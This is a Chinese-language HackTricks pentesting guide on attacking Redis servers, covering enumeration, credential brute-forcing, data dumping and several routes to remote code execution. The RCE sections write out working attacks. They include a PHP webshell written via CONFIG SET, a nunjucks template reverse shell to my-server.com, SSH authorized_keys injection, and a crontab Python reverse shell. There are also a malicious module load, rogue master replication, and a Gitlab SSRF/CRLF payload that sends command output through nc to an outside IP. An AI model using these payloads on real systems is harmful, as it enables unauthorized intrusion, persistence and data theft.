hacktricks/network-services-pentesting/6379-pentesting-redis.md

17 KiB
Raw Blame History

6379 - Redis渗透测试

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS红队专家

支持HackTricks的其他方式

加入HackenProof Discord服务器,与经验丰富的黑客和赏金猎人交流!

黑客见解
参与深入探讨黑客的刺激和挑战的内容

实时黑客新闻
通过实时新闻和见解及时了解快节奏的黑客世界

最新公告
随时了解最新的赏金任务发布和重要平台更新

加入我们的 Discord,立即与顶尖黑客合作!

基本信息

根据文档Redis是一个开源BSD许可证用作数据库、缓存和消息代理的内存数据结构存储

默认情况下Redis使用基于纯文本的协议但您必须记住它也可以实现ssl/tls。了解如何在此处使用ssl/tls运行Redis

默认端口: 6379

PORT     STATE SERVICE  VERSION
6379/tcp open  redis   Redis key-value store 4.0.9

自动枚举

一些自动化工具可以帮助获取来自 Redis 实例的信息:

nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server

手动枚举

横幅

Redis是一种基于文本的协议您可以直接在套接字中发送命令返回的值将是可读的。还要记住Redis可以使用ssl/tls运行但这非常奇怪

在常规的Redis实例中您可以使用nc进行连接,或者也可以使用redis-cli

nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools

您可以尝试的第一个命令是**info**。它可能返回Redis实例的信息或者类似以下内容的输出被返回

-NOAUTH Authentication required.

在这种情况下,这意味着您需要有效的凭据才能访问Redis实例。

Redis身份验证

默认情况下Redis可以在没有凭据的情况下访问。但是,它可以被配置为仅支持密码,或用户名+密码
可以在_redis.conf文件中使用参数requirepass设置密码,或者在服务重新启动连接到它并运行config set requirepass p@ss$12E45临时设置密码。
此外,可以在
redis.conf_文件中的参数masteruser中配置用户名

{% hint style="info" %} 如果仅配置了密码,则使用的用户名是“default”。
另外,请注意外部无法找到Redis是仅配置了密码还是用户名+密码。 {% endhint %}

在这种情况下您将需要找到有效的凭据才能与Redis进行交互因此可以尝试暴力破解
如果找到有效凭据,则需要在与命令建立连接后进行身份验证的会话中进行身份验证:

AUTH <username> <password>

有效凭据将会得到回复:+OK

已认证枚举

如果Redis服务器允许匿名连接或者您已获得有效凭据,您可以使用以下命令启动服务的枚举过程:

INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]

其他Redis命令 可以在这里找到 这里

请注意,实例的Redis命令可以在_redis.conf_文件中重命名或删除。例如以下行将删除FLUSHDB命令

rename-command FLUSHDB ""

更多关于如何安全配置Redis服务的信息请参考https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04

您也可以使用命令monitor实时监控执行的Redis命令或者使用slowlog get 25获取前25个最慢的查询。

在这里找到更多关于Redis命令的有趣信息https://lzone.de/cheat-sheet/Redis

数据库转储

在Redis中数据库是从0开始编号的数字。您可以通过info命令的输出在“Keyspace”块中找到是否有任何数据库正在使用

或者您可以使用以下命令获取所有keyspaces数据库

INFO keyspace

在这个例子中,正在使用数据库 0 和 1数据库 0 包含 4 个键,数据库 1 包含 1 个。默认情况下Redis 将使用数据库 0。要导出例如数据库 1您需要执行

SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]

在运行GET <KEY>时,如果出现-WRONGTYPE Operation against a key holding the wrong kind of value错误,这是因为该键可能不是字符串或整数,需要使用特殊操作符来显示它。

要了解键的类型,请使用TYPE命令,以下是列表和哈希键的示例。

TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]

# If the type used is weird you can always do:
DUMP <key>

使用npm转储数据库 redis-dump 或python redis-utils

加入HackenProof Discord服务器,与经验丰富的黑客和赏金猎人交流!

黑客见解
参与深入探讨黑客行为的刺激和挑战的内容

实时黑客新闻
通过实时新闻和见解及时了解快节奏的黑客世界

最新公告
了解最新的赏金任务发布和重要平台更新

加入我们的 Discord 并开始与顶尖黑客合作!

Redis RCE

交互式Shell

redis-rogue-server 可以自动在Redis(<=5.0.5)中获取交互式shell或反向shell。

./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>

PHP Webshell

信息来自这里。您必须知道网站文件夹的路径

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK

如果webshell访问异常您可以在备份后清空数据库并重试记得恢复数据库。

模板Webshell

就像在前一节中一样您还可以覆盖一些将由模板引擎解释的html模板文件并获取shell。

例如,根据此解决方案,您可以看到攻击者在一个由nunjucks模板引擎解释的html中注入了反向shell

{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}

{% hint style="warning" %} 请注意,几个模板引擎会缓存模板在内存中,因此即使您覆盖它们,新模板不会被执行。在这种情况下要么开发人员保留了自动重新加载功能要么您需要对服务进行DoS攻击并期望它将自动重新启动。 {% endhint %}

SSH

示例来自这里

请注意**config get dir的结果可能会在其他手动利用命令之后发生更改。建议在登录到Redis后立即运行它。在config get dir的输出中,您可以找到redis用户home**通常为_/var/lib/redis_或_/home/redis/.ssh_知道这一点后您就知道可以在哪里写入authenticated_users文件以通过ssh访问使用redis用户。如果您知道其他有效用户的主目录,并且具有可写权限,您也可以滥用它:

  1. 在您的计算机上生成ssh公钥-私钥对:ssh-keygen -t rsa
  2. 将公钥写入文件:(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
  3. 将文件导入到rediscat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
  4. 将公钥保存到redis服务器上的authorized_keys文件中:
root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
  1. 最后,您可以使用私钥sshredis服务器ssh -i id_rsa redis@10.85.0.52

此技术在此处自动化:https://github.com/Avinash-acid/Redis-Server-Exploit

Crontab

root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK

最后一个示例适用于Ubuntu对于Centos,上述命令应为:redis-cli -h 10.85.0.52 config set dir /var/spool/cron/

这种方法也可以用来赚取比特币:yam

加载Redis模块

  1. 按照https://github.com/n0b0dyCN/RedisModules-ExecuteCommand的说明,您可以编译一个Redis模块来执行任意命令
  2. 然后需要某种方式上传编译好的模块
  3. 在运行时加载上传的模块MODULE LOAD /path/to/mymodule.so
  4. 列出已加载的模块以检查是否正确加载:MODULE LIST
  5. 执行命令
127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
  1. 想要时卸载模块:MODULE UNLOAD mymodule

LUA沙盒绕过

这里您可以看到Redis使用EVAL命令来执行Lua代码沙盒。在链接的帖子中,您可以看到如何使用dofile函数滥用它,但显然这已不再可能。无论如何,如果您可以绕过Lua沙盒,就可以在系统上执行任意命令。此外,从同一帖子中,您可以看到一些导致DoS的选项。

一些用于绕过LUA的CVE

主从模块

主Redis的所有操作会自动同步到从Redis这意味着我们可以将漏洞Redis视为从Redis连接到我们自己控制的主Redis然后我们可以向我们自己的Redis输入命令。

master redis : 10.85.0.51 (Hacker's Server)
slave  redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld

SSRF 与 Redis 通信

如果你可以发送明文请求Redis,你可以与其通信,因为 Redis 会逐行读取请求,并对其不理解的行只会回复错误:

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

因此,如果您在网站中发现了SSRF漏洞,并且可以控制一些标头可能是通过CRLF漏洞POST参数您将能够向Redis发送任意命令。

示例Gitlab SSRF + CRLF 到 Shell

Gitlab11.4.7中发现了一个SSRF漏洞和一个CRLF漏洞。SSRF漏洞出现在从URL导入项目功能中,当创建新项目时允许访问形式为[0:0:0:0:0:ffff:127.0.0.1]的任意IP这将访问127.0.0.1),而CRLF漏洞则是通过向URL添加**%0D%0A**字符来利用的。

因此,可以滥用这些漏洞与管理gitlab队列的Redis实例进行通信,并滥用这些队列来获取代码执行。Redis队列滥用有效负载为

multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec

而利用SSRF和CRLF滥用URL编码请求执行whoami并通过nc发送输出的请求是:

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

由于某种原因(就像https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/中作者提到的那样),利用使用git协议而不是http协议。

加入HackenProof Discord服务器,与经验丰富的黑客和赏金猎人交流!

黑客见解
参与深入探讨黑客攻击的刺激和挑战的内容

实时黑客新闻
通过实时新闻和见解了解快节奏的黑客世界

最新公告
了解最新的赏金计划发布和重要平台更新

加入我们的 Discord ,立即与顶尖黑客合作!

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS红队专家

支持HackTricks的其他方式